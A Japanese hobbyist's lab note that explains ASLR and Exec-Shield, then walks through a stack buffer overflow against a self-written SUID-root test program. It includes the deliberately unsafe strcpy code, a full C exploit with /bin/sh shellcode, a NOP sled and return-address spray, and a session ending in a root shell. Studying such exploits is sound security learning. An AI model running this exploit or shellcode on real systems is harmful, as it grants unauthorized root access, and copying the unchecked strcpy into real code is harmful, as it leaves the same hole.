NENote of Exploiting


Stack Buffer Overflow1 : 2006-11-11

 これはスタックバッファオーバフローのテストメモである。

 リスト項目の1番目で挙げた失敗について、ケンジ氏は次のように述べている。

BOF対策のためにプログラム起動ごとに毎回スタックの位置を変化させるような仕組みが取り入れられていることがあります。確かFedoraとかそうだった記憶が。
shellcodeには問題ないように見えるので多分OS側の設定とかその辺りだと思います。

 スタック領域のプロテクション技術として、ASLRと呼ばれるプロテクション技術が存在する。Exec-Shieldと呼ばれるプログラムがこれを実装している。Exec-Shieldはプロセスごとにスタックの位置をランダムに変更するプログラムであり、多くのLinuxでインストールされている。このプログラムの機能を標準でONにしているデストリビューションも存在しており、Fedraもそのうちのひとつである。Ubuntuは/proc/sys/kernel/randomize_va_spaceに設定ファイルがあり、1ならランダマイズ機能がオン、0ならオフである。Fedora Core 3以降ではASLRがExec-Shieldとは別の機能として提供されている。設定ファイルは /proc/sys/kernel/randomize_va_spaceに変更されているが、古いバージョンでは/proc/sys/kernel/exec-shield-randomizeに設定情報が書かれている可能性もある。

defolos@Glazheim-desktop:/proc/sys/kernel$ cat randomize_va_space
1

[SC] bo-test.c


#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[]){

    char buffer[500];
    strcpy (buffer, argv[1]);
    return 0;
}

[SC] exploit.c


#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp (void){
    __asm__("movl %esp, %eax");
}

int main (int argc, char *argv[]){

    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();
    ret = esp - offset;

    printf("-------exploit---------------\n");

    buffer = malloc(600);

    ptr = buffer;
    addr_ptr = (long *)ptr;
    for (i=0; i<600; i += 4)
        *(addr_ptr++) = ret;

    for (i=0; i<200; i++)
        buffer[i] = '\x90';

    ptr = buffer + 200;
    for (i=0; i<strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

    buffer[600 - 1] = 0;

    execl("./bo-test.exe", "bo-test.exe", buffer, 0);

    free(buffer);
    return 0;
}

Exemplification

 コンパイルを行うために、次のようにタイプする。これにより「bo-test.exe」および「exploit.exe」を「bo-test.c」および「exploit.c」から作成することができる。

defolos@glazheim:~/buffer_overflow_test$ gcc -o bo-test.exe bo-test.c
defolos@glazheim:~/buffer_overflow_test$ gcc -o exploit.exe exploit.c

 次に、bo-test.exeのパーミッションと所有権を変更するために、root権限で次のようにタイプする。

defolos@glazheim:~/buffer_overflow_test$ su
Password:

 これで、bo-test.exeの所有権をrootに変更し、SUIDビットを立てることができる。root権限からログアウトする。

glazheim:/home/defolos/buffer_overflow_test# chown root bo-test.exe
glazheim:/home/defolos/buffer_overflow_test# chmod +s bo-test.exe
glazheim:/home/defolos/buffer_overflow_test# exit
exit

 最後に、exploit.exeを通常ユーザアカウントから起動する。exploit.exeが起動すると、スタックが書き換えられてプログラムの流れがシェルコードへと変更される。結果として、SUIDのためにroot権限でシェルを起動することができる。

defolos@glazheim:~/buffer_overflow_test$ ./exploit.exe
-------exploit---------------
sh-2.05b# whoami
root
Copyleft (C) 2007 Len. All Rights Not Reserved.